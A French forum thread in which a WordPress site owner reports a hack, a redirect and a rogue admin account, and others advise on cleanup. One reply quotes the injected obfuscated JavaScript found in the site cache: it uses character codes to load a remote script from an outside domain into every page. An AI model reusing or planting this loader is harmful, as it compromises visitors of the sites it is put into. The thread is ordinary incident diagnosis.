Bonjour, mon site a été piraté. Il est redirigé vers https://0.whiteshoplabels.ml/
Je n'ai plus accès non plus au back office. Quelqu'un s'est créé un compte utilisateur (j'ai reçu cette nuit un mail "registration form" avec tous les détails de ce nouveau compte) avec probablement un rôle d'administrateur, et depuis impossible de me connecter.
J'aimerais être aidée par un webmaster partenaire d'ovh pour la restauration et la sécurisation de mon site car mes compétences informatiques sont très limitées.
Qui me conseilleriez-vous de contacter ?
Merci d'avance pour vos suggestions.
le domaine que tu indiques n'a aucun rapport avec Ovh (zone DNS/serveur/registrar)
le propriétaire est New Zealandais
quel site?
> la sécurisation de mon site
ton WP et Woocommerce ne sont sévèrement pas à jour… 
la MEILLEURE sécurité est de mettre À JOUR maxi tous les mois
en dehors de l'infection son comportement n'est pas celui d'un wordpress non trafiqué, il sort du contenu dupliqué sur le sous-domaine www et le root
tu devrais couper le site de suite pour éviter des dégâts SEO qui pour l'instant n'existent pas
en ftp, crée un fichier `.maintenance`:
```text
```
(je n'ai jamais testé sur une infection, à voir)
> conseilleriez-vous de contacter
je n'appelle pas ça un webmaster, mais un pro apte à analyser les fichiers et la base de données
rapidement, car le jeu est de mettre plusieurs niveaux d'infections quand un WP est infecté la première fois
l'infection est légère pour l'instant, ton virus est ici: https://cht.secondaryinformtrand.com/m.js<br /><br />la source dans ton cache<br />```text<br />Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode%28115,99,114,105,112,116)); elem.type = String.fromCharCode%28116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode%28104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode%28115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode%28104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode%28104,101,97,100))[0].appendChild(elem);})();if(document.location.protocol!="https:"){document.location=document.URL.replace(/^http:/i,"https:")};/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license | WordPress 2019-05-16 */<br />```<br /><br />en ftp, tu peux vider `wp-content/cache` ?<br />pour commencer, ça ne sera pas suffisant à long terme<br />si ça a l'air efficace, ça évitera la maintenance le temps que quelqu'un intervienne<br /><br />vider le cache de ton navigateur pour tester
tu devrais couper le site de suite pour éviter des dégâts SEO
Je dois avouer que même pour cela, je ne sais pas comment procéder. Cela se fait depuis l'espace client d'OVH ?
non en ftp
Ovh n'est ni compétent ni concerné par ça
Merci pour ces conseils mais je suis incapable de gérer le ftp.
J'ai vraiment besoin d'être épaulé par un professionnel qui pourra effectuer ces manipulations au niveau des fichiers et de la base de données, d'où l'ouverture de ce sujet pour avoir des suggestions de contacts.
lire tes messages privés?
Bonjour
J'ai eu le même probleme un hack par injection de contenus (+ de 5000 adresses)
j'ai trouvé un dev qui m'a réglé le probleme dans la journée. Par contre le réferencement en a souffert.
pourquoi te greffer ce sujet?
> (+ de 5000 adresses)
Par contre le réferencement
rien à voir donc
> qui m'a réglé le probleme dans la journée
donc non, rien n'est réglé